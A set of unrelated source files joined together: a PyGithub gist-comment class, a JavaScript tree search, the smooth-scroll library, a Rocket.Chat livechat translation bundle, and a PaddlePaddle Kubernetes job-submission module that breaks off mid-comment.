############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2012 Zearin <zearin@gonk.net> # # Copyright 2013 AKFish <akfish@gmail.com> # # Copyright 2013 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2014 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2016 Jannis Gebauer <ja.geb@me.com> # # Copyright 2016 Peter Buckley <dx-pbuckley@users.noreply.github.com> # # Copyright 2018 Wan Liuyang <tsfdye@gmail.com> # # Copyright 2018 sfdye <tsfdye@gmail.com> # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see <http://www.gnu.org/licenses/>. # # # ################################################################################ import github.GithubObject import github.NamedUser class GistComment(github.GithubObject.CompletableGithubObject): """ This class represents GistComments. The reference can be found here https://docs.github.com/en/rest/reference/gists#comments """ def __repr__(self): return self.get__repr__({"id": self._id.value, "user": self._user.value}) @property def body(self): """ :type: string """ self._completeIfNotSet(self._body) return self._body.value @property def created_at(self): """ :type: datetime.datetime """ self._completeIfNotSet(self._created_at) return self._created_at.value @property def id(self): """ :type: integer """ self._completeIfNotSet(self._id) return self._id.value @property def updated_at(self): """ :type: datetime.datetime """ self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self): """ :type: string """ self._completeIfNotSet(self._url) return self._url.value @property def user(self): """ :type: :class:`github.NamedUser.NamedUser` """ self._completeIfNotSet(self._user) return self._user.value def delete(self): """ :calls: `DELETE /gists/{gist_id}/comments/{id} <http://docs.github.com/en/rest/reference/gists#comments>`_ :rtype: None """ headers, data = self._requester.requestJsonAndCheck("DELETE", self.url) def edit(self, body): """ :calls: `PATCH /gists/{gist_id}/comments/{id} <http://docs.github.com/en/rest/reference/gists#comments>`_ :param body: string :rtype: None """ assert isinstance(body, str), body post_parameters = { "body": body, } headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, input=post_parameters ) self._useAttributes(data) def _initAttributes(self): self._body = github.GithubObject.NotSet self._created_at = github.GithubObject.NotSet self._id = github.GithubObject.NotSet self._updated_at = github.GithubObject.NotSet self._url = github.GithubObject.NotSet self._user = github.GithubObject.NotSet def _useAttributes(self, attributes): if "body" in attributes: # pragma no branch self._body = self._makeStringAttribute(attributes["body"]) if "created_at" in attributes: # pragma no branch self._created_at = self._makeDatetimeAttribute(attributes["created_at"]) if "id" in attributes: # pragma no branch self._id = self._makeIntAttribute(attributes["id"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user" in attributes: # pragma no branch self._user = self._makeClassAttribute( github.NamedUser.NamedUser, attributes["user"] )
export default function search(value) { const recursiveSearch = (node) => { if (!node) { return false; } if (this.aEqualsB(value, node.value)) { return node.value; } if (this.aIsLessThanB(value, node.value)) { return recursiveSearch(node.left); } return recursiveSearch(node.right); }; return recursiveSearch(this.root); }
integration.whiteRootDomains = ['ln-online.de','ln-jobs.de','immonet.de']; integration.blackSubDomains = [];
/*! * smooth-scroll v15.1.2 * Animate scrolling to anchor links * (c) 2018 Chris Ferdinandi * MIT License * http://github.com/cferdinandi/smooth-scroll */ /** * closest() polyfill * @link https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill */ if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function(s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {} } while ((i < 0) && (el = el.parentElement)); return el; }; } /** * CustomEvent() polyfill * https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent/CustomEvent#Polyfill */ (function () { if (typeof window.CustomEvent === "function") return false; function CustomEvent(event, params) { params = params || { bubbles: false, cancelable: false, detail: undefined }; var evt = document.createEvent('CustomEvent'); evt.initCustomEvent(event, params.bubbles, params.cancelable, params.detail); return evt; } CustomEvent.prototype = window.Event.prototype; window.CustomEvent = CustomEvent; })(); /** * requestAnimationFrame() polyfill * By Erik Möller. Fixes from Paul Irish and Tino Zijdel. * @link http://paulirish.com/2011/requestanimationframe-for-smart-animating/ * @link http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating * @license MIT */ (function() { var lastTime = 0; var vendors = ['ms', 'moz', 'webkit', 'o']; for(var x = 0; x < vendors.length && !window.requestAnimationFrame; ++x) { window.requestAnimationFrame = window[vendors[x]+'RequestAnimationFrame']; window.cancelAnimationFrame = window[vendors[x]+'CancelAnimationFrame'] || window[vendors[x]+'CancelRequestAnimationFrame']; } if (!window.requestAnimationFrame) { window.requestAnimationFrame = function(callback, element) { var currTime = new Date().getTime(); var timeToCall = Math.max(0, 16 - (currTime - lastTime)); var id = window.setTimeout((function() { callback(currTime + timeToCall); }), timeToCall); lastTime = currTime + timeToCall; return id; }; } if (!window.cancelAnimationFrame) { window.cancelAnimationFrame = function(id) { clearTimeout(id); }; } }()); (function (root, factory) { if (typeof define === 'function' && define.amd) { define([], (function () { return factory(root); })); } else if (typeof exports === 'object') { module.exports = factory(root); } else { root.SmoothScroll = factory(root); } })(typeof global !== 'undefined' ? global : typeof window !== 'undefined' ? window : this, (function (window) { 'use strict'; // // Default settings // var defaults = { // Selectors ignore: '[data-scroll-ignore]', header: null, topOnEmptyHash: true, // Speed & Duration speed: 500, speedAsDuration: false, durationMax: null, durationMin: null, clip: true, offset: 0, // Easing easing: 'easeInOutCubic', customEasing: null, // History updateURL: true, popstate: true, // Custom Events emitEvents: true }; // // Utility Methods // /** * Check if browser supports required methods * @return {Boolean} Returns true if all required methods are supported */ var supports = function () { return ( 'querySelector' in document && 'addEventListener' in window && 'requestAnimationFrame' in window && 'closest' in window.Element.prototype ); }; /** * Merge two or more objects together. * @param {Object} objects The objects to merge together * @returns {Object} Merged values of defaults and options */ var extend = function () { var merged = {}; Array.prototype.forEach.call(arguments, (function (obj) { for (var key in obj) { if (!obj.hasOwnProperty(key)) return; merged[key] = obj[key]; } })); return merged; }; /** * Check to see if user prefers reduced motion * @param {Object} settings Script settings */ var reduceMotion = function (settings) { if ('matchMedia' in window && window.matchMedia('(prefers-reduced-motion)').matches) { return true; } return false; }; /** * Get the height of an element. * @param {Node} elem The element to get the height of * @return {Number} The element's height in pixels */ var getHeight = function (elem) { return parseInt(window.getComputedStyle(elem).height, 10); }; /** * Escape special characters for use with querySelector * @author Mathias Bynens * @link https://github.com/mathiasbynens/CSS.escape * @param {String} id The anchor ID to escape */ var escapeCharacters = function (id) { // Remove leading hash if (id.charAt(0) === '#') { id = id.substr(1); } var string = String(id); var length = string.length; var index = -1; var codeUnit; var result = ''; var firstCodeUnit = string.charCodeAt(0); while (++index < length) { codeUnit = string.charCodeAt(index); // Note: there’s no need to special-case astral symbols, surrogate // pairs, or lone surrogates. // If the character is NULL (U+0000), then throw an // `InvalidCharacterError` exception and terminate these steps. if (codeUnit === 0x0000) { throw new InvalidCharacterError( 'Invalid character: the input contains U+0000.' ); } if ( // If the character is in the range [\1-\1F] (U+0001 to U+001F) or is // U+007F, […] (codeUnit >= 0x0001 && codeUnit <= 0x001F) || codeUnit == 0x007F || // If the character is the first character and is in the range [0-9] // (U+0030 to U+0039), […] (index === 0 && codeUnit >= 0x0030 && codeUnit <= 0x0039) || // If the character is the second character and is in the range [0-9] // (U+0030 to U+0039) and the first character is a `-` (U+002D), […] ( index === 1 && codeUnit >= 0x0030 && codeUnit <= 0x0039 && firstCodeUnit === 0x002D ) ) { // http://dev.w3.org/csswg/cssom/#escape-a-character-as-code-point result += '\\' + codeUnit.toString(16) + ' '; continue; } // If the character is not handled by one of the above rules and is // greater than or equal to U+0080, is `-` (U+002D) or `_` (U+005F), or // is in one of the ranges [0-9] (U+0030 to U+0039), [A-Z] (U+0041 to // U+005A), or [a-z] (U+0061 to U+007A), […] if ( codeUnit >= 0x0080 || codeUnit === 0x002D || codeUnit === 0x005F || codeUnit >= 0x0030 && codeUnit <= 0x0039 || codeUnit >= 0x0041 && codeUnit <= 0x005A || codeUnit >= 0x0061 && codeUnit <= 0x007A ) { // the character itself result += string.charAt(index); continue; } // Otherwise, the escaped character. // http://dev.w3.org/csswg/cssom/#escape-a-character result += '\\' + string.charAt(index); } // Return sanitized hash return '#' + result; }; /** * Calculate the easing pattern * @link https://gist.github.com/gre/1650294 * @param {String} type Easing pattern * @param {Number} time Time animation should take to complete * @returns {Number} */ var easingPattern = function (settings, time) { var pattern; // Default Easing Patterns if (settings.easing === 'easeInQuad') pattern = time * time; // accelerating from zero velocity if (settings.easing === 'easeOutQuad') pattern = time * (2 - time); // decelerating to zero velocity if (settings.easing === 'easeInOutQuad') pattern = time < 0.5 ? 2 * time * time : -1 + (4 - 2 * time) * time; // acceleration until halfway, then deceleration if (settings.easing === 'easeInCubic') pattern = time * time * time; // accelerating from zero velocity if (settings.easing === 'easeOutCubic') pattern = (--time) * time * time + 1; // decelerating to zero velocity if (settings.easing === 'easeInOutCubic') pattern = time < 0.5 ? 4 * time * time * time : (time - 1) * (2 * time - 2) * (2 * time - 2) + 1; // acceleration until halfway, then deceleration if (settings.easing === 'easeInQuart') pattern = time * time * time * time; // accelerating from zero velocity if (settings.easing === 'easeOutQuart') pattern = 1 - (--time) * time * time * time; // decelerating to zero velocity if (settings.easing === 'easeInOutQuart') pattern = time < 0.5 ? 8 * time * time * time * time : 1 - 8 * (--time) * time * time * time; // acceleration until halfway, then deceleration if (settings.easing === 'easeInQuint') pattern = time * time * time * time * time; // accelerating from zero velocity if (settings.easing === 'easeOutQuint') pattern = 1 + (--time) * time * time * time * time; // decelerating to zero velocity if (settings.easing === 'easeInOutQuint') pattern = time < 0.5 ? 16 * time * time * time * time * time : 1 + 16 * (--time) * time * time * time * time; // acceleration until halfway, then deceleration // Custom Easing Patterns if (!!settings.customEasing) pattern = settings.customEasing(time); return pattern || time; // no easing, no acceleration }; /** * Determine the document's height * @returns {Number} */ var getDocumentHeight = function () { return Math.max( document.body.scrollHeight, document.documentElement.scrollHeight, document.body.offsetHeight, document.documentElement.offsetHeight, document.body.clientHeight, document.documentElement.clientHeight ); }; /** * Calculate how far to scroll * Clip support added by robjtede - https://github.com/cferdinandi/smooth-scroll/issues/405 * @param {Element} anchor The anchor element to scroll to * @param {Number} headerHeight Height of a fixed header, if any * @param {Number} offset Number of pixels by which to offset scroll * @param {Boolean} clip If true, adjust scroll distance to prevent abrupt stops near the bottom of the page * @returns {Number} */ var getEndLocation = function (anchor, headerHeight, offset, clip) { var location = 0; if (anchor.offsetParent) { do { location += anchor.offsetTop; anchor = anchor.offsetParent; } while (anchor); } location = Math.max(location - headerHeight - offset, 0); if (clip) { location = Math.min(location, getDocumentHeight() - window.innerHeight); } return location; }; /** * Get the height of the fixed header * @param {Node} header The header * @return {Number} The height of the header */ var getHeaderHeight = function (header) { return !header ? 0 : (getHeight(header) + header.offsetTop); }; /** * Calculate the speed to use for the animation * @param {Number} distance The distance to travel * @param {Object} settings The plugin settings * @return {Number} How fast to animate */ var getSpeed = function (distance, settings) { var speed = settings.speedAsDuration ? settings.speed : Math.abs(distance / 1000 * settings.speed); if (settings.durationMax && speed > settings.durationMax) return settings.durationMax; if (settings.durationMin && speed < settings.durationMin) return settings.durationMin; return speed; }; var setHistory = function (options) { // Make sure this should run if (!history.replaceState || !options.updateURL || history.state) return; // Get the hash to use var hash = window.location.hash; hash = hash ? hash : window.pageYOffset; // Set a default history history.replaceState( { smoothScroll: JSON.stringify(options), anchor: hash ? hash : window.pageYOffset }, document.title, hash ? hash : window.location.href ); }; /** * Update the URL * @param {Node} anchor The anchor that was scrolled to * @param {Boolean} isNum If true, anchor is a number * @param {Object} options Settings for Smooth Scroll */ var updateURL = function (anchor, isNum, options) { // Bail if the anchor is a number if (isNum) return; // Verify that pushState is supported and the updateURL option is enabled if (!history.pushState || !options.updateURL) return; // Update URL history.pushState( { smoothScroll: JSON.stringify(options), anchor: anchor.id }, document.title, anchor === document.documentElement ? '#top' : '#' + anchor.id ); }; /** * Bring the anchored element into focus * @param {Node} anchor The anchor element * @param {Number} endLocation The end location to scroll to * @param {Boolean} isNum If true, scroll is to a position rather than an element */ var adjustFocus = function (anchor, endLocation, isNum) { // Is scrolling to top of page, blur if (anchor === 0) { document.body.focus(); } // Don't run if scrolling to a number on the page if (isNum) return; // Otherwise, bring anchor element into focus anchor.focus(); if (document.activeElement !== anchor) { anchor.setAttribute('tabindex', '-1'); anchor.focus(); anchor.style.outline = 'none'; } window.scrollTo(0 , endLocation); }; /** * Emit a custom event * @param {String} type The event type * @param {Object} options The settings object * @param {Node} anchor The anchor element * @param {Node} toggle The toggle element */ var emitEvent = function (type, options, anchor, toggle) { if (!options.emitEvents || typeof window.CustomEvent !== 'function') return; var event = new CustomEvent(type, { bubbles: true, detail: { anchor: anchor, toggle: toggle } }); document.dispatchEvent(event); }; // // SmoothScroll Constructor // var SmoothScroll = function (selector, options) { // // Variables // var smoothScroll = {}; // Object for public APIs var settings, anchor, toggle, fixedHeader, eventTimeout, animationInterval; // // Methods // /** * Cancel a scroll-in-progress */ smoothScroll.cancelScroll = function (noEvent) { cancelAnimationFrame(animationInterval); animationInterval = null; if (noEvent) return; emitEvent('scrollCancel', settings); }; /** * Start/stop the scrolling animation * @param {Node|Number} anchor The element or position to scroll to * @param {Element} toggle The element that toggled the scroll event * @param {Object} options */ smoothScroll.animateScroll = function (anchor, toggle, options) { // Local settings var _settings = extend(settings || defaults, options || {}); // Merge user options with defaults // Selectors and variables var isNum = Object.prototype.toString.call(anchor) === '[object Number]' ? true : false; var anchorElem = isNum || !anchor.tagName ? null : anchor; if (!isNum && !anchorElem) return; var startLocation = window.pageYOffset; // Current location on the page if (_settings.header && !fixedHeader) { // Get the fixed header if not already set fixedHeader = document.querySelector(_settings.header); } var headerHeight = getHeaderHeight(fixedHeader); var endLocation = isNum ? anchor : getEndLocation(anchorElem, headerHeight, parseInt((typeof _settings.offset === 'function' ? _settings.offset(anchor, toggle) : _settings.offset), 10), _settings.clip); // Location to scroll to var distance = endLocation - startLocation; // distance to travel var documentHeight = getDocumentHeight(); var timeLapsed = 0; var speed = getSpeed(distance, _settings); var start, percentage, position; /** * Stop the scroll animation when it reaches its target (or the bottom/top of page) * @param {Number} position Current position on the page * @param {Number} endLocation Scroll to location * @param {Number} animationInterval How much to scroll on this loop */ var stopAnimateScroll = function (position, endLocation) { // Get the current location var currentLocation = window.pageYOffset; // Check if the end location has been reached yet (or we've hit the end of the document) if (position == endLocation || currentLocation == endLocation || ((startLocation < endLocation && window.innerHeight + currentLocation) >= documentHeight)) { // Clear the animation timer smoothScroll.cancelScroll(true); // Bring the anchored element into focus adjustFocus(anchor, endLocation, isNum); // Emit a custom event emitEvent('scrollStop', _settings, anchor, toggle); // Reset start start = null; animationInterval = null; return true; } }; /** * Loop scrolling animation */ var loopAnimateScroll = function (timestamp) { if (!start) { start = timestamp; } timeLapsed += timestamp - start; percentage = (timeLapsed / parseInt(speed, 10)); percentage = (percentage > 1) ? 1 : percentage; position = startLocation + (distance * easingPattern(_settings, percentage)); window.scrollTo(0, Math.floor(position)); if (!stopAnimateScroll(position, endLocation)) { animationInterval = window.requestAnimationFrame(loopAnimateScroll); start = timestamp; } }; /** * Reset position to fix weird iOS bug * @link https://github.com/cferdinandi/smooth-scroll/issues/45 */ if (window.pageYOffset === 0) { window.scrollTo(0, 0); } // Update the URL updateURL(anchor, isNum, _settings); // Emit a custom event emitEvent('scrollStart', _settings, anchor, toggle); // Start scrolling animation smoothScroll.cancelScroll(true); window.requestAnimationFrame(loopAnimateScroll); }; /** * If smooth scroll element clicked, animate scroll */ var clickHandler = function (event) { // Don't run if the user prefers reduced motion if (reduceMotion(settings)) return; // Don't run if right-click or command/control + click if (event.button !== 0 || event.metaKey || event.ctrlKey) return; // Check if event.target has closest() method // By @totegi - https://github.com/cferdinandi/smooth-scroll/pull/401/ if(!('closest' in event.target))return; // Check if a smooth scroll link was clicked toggle = event.target.closest(selector); if (!toggle || toggle.tagName.toLowerCase() !== 'a' || event.target.closest(settings.ignore)) return; // Only run if link is an anchor and points to the current page if (toggle.hostname !== window.location.hostname || toggle.pathname !== window.location.pathname || !/#/.test(toggle.href)) return; // Get an escaped version of the hash var hash = escapeCharacters(toggle.hash); // Get the anchored element var anchor = settings.topOnEmptyHash && hash === '#' ? document.documentElement : document.querySelector(hash); anchor = !anchor && hash === '#top' ? document.documentElement : anchor; // If anchored element exists, scroll to it if (!anchor) return; event.preventDefault(); setHistory(settings); smoothScroll.animateScroll(anchor, toggle); }; /** * Animate scroll on popstate events */ var popstateHandler = function (event) { // Stop if history.state doesn't exist (ex. if clicking on a broken anchor link). // fixes `Cannot read property 'smoothScroll' of null` error getting thrown. if (history.state === null) return; // Only run if state is a popstate record for this instantiation if (!history.state.smoothScroll || history.state.smoothScroll !== JSON.stringify(settings)) return; // Only run if state includes an anchor // if (!history.state.anchor && history.state.anchor !== 0) return; // Get the anchor var anchor = history.state.anchor; if (anchor && anchor !== 0) { anchor = document.querySelector(escapeCharacters(history.state.anchor)); if (!anchor) return; } // Animate scroll to anchor link smoothScroll.animateScroll(anchor, null, {updateURL: false}); }; /** * Destroy the current initialization. */ smoothScroll.destroy = function () { // If plugin isn't already initialized, stop if (!settings) return; // Remove event listeners document.removeEventListener('click', clickHandler, false); window.removeEventListener('popstate', popstateHandler, false); // Cancel any scrolls-in-progress smoothScroll.cancelScroll(); // Reset variables settings = null; anchor = null; toggle = null; fixedHeader = null; eventTimeout = null; animationInterval = null; }; /** * Initialize Smooth Scroll * @param {Object} options User settings */ smoothScroll.init = function (options) { // feature test if (!supports()) throw 'Smooth Scroll: This browser does not support the required JavaScript methods and browser APIs.'; // Destroy any existing initializations smoothScroll.destroy(); // Selectors and variables settings = extend(defaults, options || {}); // Merge user options with defaults fixedHeader = settings.header ? document.querySelector(settings.header) : null; // Get the fixed header // When a toggle is clicked, run the click handler document.addEventListener('click', clickHandler, false); // If updateURL and popState are enabled, listen for pop events if (settings.updateURL && settings.popstate) { window.addEventListener('popstate', popstateHandler, false); } }; // // Initialize plugin // smoothScroll.init(options); // // Public APIs // return smoothScroll; }; return SmoothScroll; }));
(window.webpackJsonp=window.webpackJsonp||[]).push([[4],{CI9v:function(e){e.exports=JSON.parse('{"af":{"are_you_sure_you_want_to_finish_this_chat_1db5c13b":"Are you sure you want to finish this chat?","are_you_sure_you_want_to_remove_all_of_your_person_426720f1":"Are you sure you want to remove all of your personal data?","are_you_sure_you_want_to_switch_the_department_d50a0b08":"Are you sure you want to switch the department?","cancel_caeb1e68":"kanselleer","change_department_1d671538":"Change department","change_department_523a16e8":"Change Department","chat_finished_effbd589":"Chat Finished","choose_a_department_b106da55":"Choose a department...","choose_a_department_fe9755fd":"Choose a department","choose_an_option_26ac97d2":"Choose an option...","conversation_finished_6a0f2811":"Gesprek afgehandel","count_new_messages_since_since_47c9d2a0":{"one":"One new message since %{since}","other":"%{count} new messages since %{since}"},"department_switched_cff305cf":"Departement aangeskakel","departments_3826b025":"Departments","disable_notifications_dd6a3180":"Disable notifications","dismiss_this_alert_ea9b3104":"Dismiss this alert","drop_here_to_upload_a_file_e5f4dd60":"Drop here to upload a file","email_22a7d52d":"Email","enable_notifications_a3daf4b1":"Enable notifications","error_closing_chat_4c5e29d7":"Error closing chat.","error_removing_user_data_ce507478":"Error removing user data.","error_starting_a_new_conversation_reason_a1b491a1":"Error starting a new conversation: %{reason}","expand_chat_a0045dbd":"Expand chat","field_required_fc5c6b05":"Field required","file_exceeds_allowed_size_of_size_bd65c389":"File exceeds allowed size of %{size}.","fileupload_error_9eedee68":"FileUpload Error","finish_this_chat_87b79542":"Finish this chat","forget_remove_my_data_e1d68cdd":"Forget/Remove my data","gdpr_8b366c2b":"GDPR","go_to_menu_options_forget_remove_my_personal_data__99c40934":"Go to **menu options → Forget/Remove my personal data** to request the immediate removal of your data.","i_agree_df2ecbd4":"I Agree","i_need_help_with_61054e21":"I need help with...","if_you_have_any_other_questions_just_press_the_but_ceaadfa0":"If you have any other questions, just press the button below to start a new chat.","insert_your_field_here_d631e875":"Insert your %{field} here...","invalid_email_e82f3682":"Invalid email","invalid_value_12ca12c2":"Invalid value","leave_a_message_5b581048":"Leave a message","livechat_connected_afee1c5b":"Livechat connected.","livechat_is_not_connected_b40328ca":"Livechat is not connected.","media_types_not_accepted_4e25676a":"Media Types Not Accepted.","message_5c38209d":"Message","minimize_chat_804b3135":"Minimize chat","name_1aed4a1b":"Name","need_help_803a61":"Need help?","new_chat_f525c39e":"New Chat","no_available_agents_to_transfer_3ae30cec":"No available agents to transfer","no_e16d9132":"Geen","ok_c47544a2":"OK","options_3ab0ea65":"opsies","please_tell_us_some_information_to_start_the_chat_ac135cbb":"Please, tell us some information to start the chat","please_wait_for_the_next_available_agent_b2a49c4c":"Please, wait for the next available agent..","powered_by_rocket_chat_4d7c2ab4":"Powered by Rocket.Chat","restore_chat_3bfecf2b":"Restore chat","room_name_changed_9c42350a":"Room name changed","send_e3bd0ed0":"stuur","sound_is_off_a743f419":"Sound is off","sound_is_on_98a9ec58":"Sound is on","start_chat_8606d464":"Start chat","thanks_for_talking_with_us_719cce22":"Thanks for talking with us","the_controller_of_your_personal_data_is_company_na_c82f5567":"The controller of your personal data is [Company Name], with registered office at [Company Address]. To start the chat you agree that your personal data shall be processed and trasmitted in accordance with the General Data Protection Regulation (GDPR).","type_your_message_here_6a05bd0f":"Type your message here","unread_messages_5e18e7b7":"unread messages","user_added_by_525b6b11":"User added by","user_joined_407ba0d":"Gebruiker aangesluit","user_left_58ed9c36":"Gebruiker oor","user_removed_by_e990f856":"User removed by","waiting_queue_800061da":"Waiting queue...","we_are_not_online_right_now_please_leave_a_message_57df1966":"Ons is nie aanlyn nie. Asseblief, laat \'n boodskap.","welcome_dd4e7151":"Welcome","write_your_message_6eee0188":"Write your message...","yes_dde87d5":"Ja","you_browser_doesn_t_support_audio_element_3391386f":"You browser doesn\'t support audio element","you_browser_doesn_t_support_video_element_e9cbd81e":"You browser doesn\'t support video element","your_spot_is_spot_a35cd288":"Your spot is #%{spot}","your_spot_is_spot_estimated_wait_time_estimatedwai_d0ff46e0":"Your spot is #%{spot} (Estimated wait time: %{estimatedWaitTime})"}}')}}]);
# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from kubernetes import client, config from kubernetes.client.rest import ApiException # FIXME(typhoonzero): still need to import settings from django.conf import settings import copy import os import logging import traceback import utils import volume import json # FIXME(typhoonzero): need a base class to define the interfaces? class K8sProvider: """ Kubernetes Cloud Porvider Provide interfaces for manage jobs and resources. """ def __init__(self): pass def get_jobs(self, username): namespace = utils.email_escape(username) api_instance =\ client.BatchV1Api(api_client=utils.get_user_api_client(username)) job_list = api_instance.list_namespaced_job(namespace) # NOTE: when job is deleted, some pods of the job will be at "Terminating" status # for a while, which may cause submit fail. Find all pods that are still "Terminating". user_pod_list =\ client.CoreV1Api(api_client=utils.get_user_api_client(username))\ .list_namespaced_pod(namespace) terminating_jobs = [] for pod in user_pod_list.items: jobname = "" if not pod.metadata.labels: continue if "paddle-job" in pod.metadata.labels: jobname = pod.metadata.labels["paddle-job"] elif "paddle-job-master" in pod.metadata.labels: jobname = pod.metadata.labels["paddle-job-master"] elif "paddle-job-pserver" in pod.metadata.labels: jobname = pod.metadata.labels["paddle-job-pserver"] if pod.metadata.deletion_timestamp and jobname: if jobname not in terminating_jobs: terminating_jobs.append(jobname) # NOTE: put it in the original dict for backward compability ret_dict = copy.deepcopy(job_list.to_dict()) ret_dict["terminating"] = terminating_jobs return ret_dict def __setup_volumes(self, paddlejob, username): volumes = [] for k, cfg in settings.DATACENTERS.items(): if k != paddlejob.dc and k != "public": continue fstype = cfg["fstype"] if fstype == settings.FSTYPE_CEPHFS: if k == "public": mount_path = cfg["mount_path"] % paddlejob.dc cephfs_path = cfg["cephfs_path"] else: mount_path = cfg["mount_path"] % (paddlejob.dc, username) cephfs_path = cfg["cephfs_path"] % username volumes.append( volume.get_volume_config( fstype=fstype, name=k.replace("_", "-"), monitors_addr=cfg["monitors_addr"], secret=cfg["secret"], user=cfg["user"], mount_path=mount_path, cephfs_path=cephfs_path, admin_key=cfg["admin_key"], read_only=cfg.get("read_only", False))) elif fstype == settings.FSTYPE_HOSTPATH: if k == "public": mount_path = cfg["mount_path"] % paddlejob.dc host_path = cfg["host_path"] else: mount_path = cfg["mount_path"] % (paddlejob.dc, username) host_path = cfg["host_path"] % username volumes.append( volume.get_volume_config( fstype=fstype, name=k.replace("_", "-"), mount_path=mount_path, host_path=host_path)) else: pass paddlejob.volumes = volumes def _valid_and_fill(self, paddlejob, username): namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) self.__setup_volumes(paddlejob, username) if not paddlejob.registry_secret: paddlejob.registry_secret = settings.JOB_DOCKER_IMAGE.get( "registry_secret", None) if not paddlejob.image: if paddlejob.gpu > 0: paddlejob.image = settings.JOB_DOCKER_IMAGE["image_gpu"] else: paddlejob.image = settings.JOB_DOCKER_IMAGE["image"] # jobPackage validation: startwith /pfs # NOTE: job packages are uploaded to /pfs/[dc]/home/[user]/jobs/[jobname] package_in_pod = os.path.join("/pfs/%s/home/%s" % ( paddlejob.dc, username), "jobs", paddlejob.name) logging.info("valid_and_fill: current package: %s", package_in_pod) # package must be ready before submit a job current_package_path = package_in_pod.replace( "/pfs/%s/home" % paddlejob.dc, settings.STORAGE_PATH) if not os.path.exists(current_package_path): current_package_path = package_in_pod.replace("/pfs/%s/home/%s" % ( paddlejob.dc, username), settings.STORAGE_PATH) if not os.path.exists(current_package_path): raise Exception("package not exist in cloud: %s" % current_package_path) logging.info("valid_and_fill: current package in pod: %s", current_package_path) # GPU quota management # TODO(Yancey1989) We should move this to Kubernetes if 'GPU_QUOTA' in dir(settings) and int(paddlejob.gpu) > 0: gpu_usage = 0 pods = client.CoreV1Api(api_client=api_client).list_namespaced_pod( namespace=namespace) for pod in pods.items: # only statistics trainer GPU resource, pserver does not use GPU if pod.metadata.labels and 'paddle-job' in pod.metadata.labels and \ pod.status.phase == 'Running': gpu_usage += int(pod.spec.containers[ 0].resources.limits.get( 'alpha.kubernetes.io/nvidia-gpu', '0')) if username in settings.GPU_QUOTA: gpu_quota = settings.GPU_QUOTA[username]['limit'] else: gpu_quota = settings.GPU_QUOTA['DEFAULT']['limit'] gpu_available = gpu_quota - gpu_usage gpu_request = int(paddlejob.gpu) * int(paddlejob.parallelism) logging.info('gpu available: %d, gpu request: %d' % (gpu_available, gpu_request)) if gpu_available < gpu_request: raise Exception("You don't have enought GPU quota," + \ "request: %d, usage: %d, limit: %d" % (gpu_request, gpu_usage, gpu_quota)) # add Nvidia lib volume if training with GPU if paddlejob.gpu > 0: paddlejob.volumes.append( volume.get_volume_config( fstype=settings.FSTYPE_HOSTPATH, name="nvidia-libs", mount_path="/usr/local/nvidia/lib64", host_path=settings.NVIDIA_LIB_PATH)) def submit_job(self, paddlejob, username): self._valid_and_fill(paddlejob, username) namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) # ========== submit master ReplicaSet if using fault_tolerant feature == # FIXME: alpha features in separate module if paddlejob.fault_tolerant: try: ret = client.ExtensionsV1beta1Api( api_client=api_client).create_namespaced_replica_set( namespace, paddlejob.new_master_job()) except ApiException, e: logging.error("error submitting master job: %s", traceback.format_exc()) raise e # ========================= submit pserver job ========================= try: ret = client.ExtensionsV1beta1Api( api_client=api_client).create_namespaced_replica_set( namespace, paddlejob.new_pserver_job()) except ApiException, e: logging.error("error submitting pserver job: %s ", traceback.format_exc()) raise e # ========================= submit trainer job ========================= try: ret = client.BatchV1Api( api_client=api_client).create_namespaced_job( namespace, paddlejob.new_trainer_job()) except ApiException, e: logging.error("error submitting trainer job: %s" % traceback.format_exc()) raise e return ret def _create_traingingjobs(self, body, username): namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) resource_path = '/apis/paddlepaddle.org/v1/namespaces/' + namespace + '/trainingjobs' header_params = {} header_params['Accept'] = api_client.select_header_accept( ['application/json']) header_params['Content-Type'] = api_client.select_header_content_type( ['*/*']) (resp, code, header) = api_client.call_api( resource_path, 'POST', {'namespace': namespace}, {}, header_params, body, [], _preload_content=False) return json.loads(resp.data.decode('utf-8')) def submit_trainingjobs(self, paddlejob, username): self._valid_and_fill(paddlejob, username) job = paddlejob.new_trainingjobs() resp = self._create_traingingjobs(job, username) logging.info(str(resp)) def delete_trainingjobs(self, paddlejob, username): api_client = utils.get_user_api_client(username) resp = client.ExtensionsV1beta1Api().\ delete_third_party_resource("TrainingJobs", body=kubernetes.client.V1DeleteOptions()) print("ThirdPartyResource delete") print(str(resp)) def delete_job(self, jobname, username): namespace = utils.email_escape(username) api_client = utils.get_user_api_client(username) if not jobname: return utils.simple_response(500, "must specify jobname") # FIXME: options needed: grace_period_seconds, orphan_dependents, preconditions # FIXME: cascade delteing 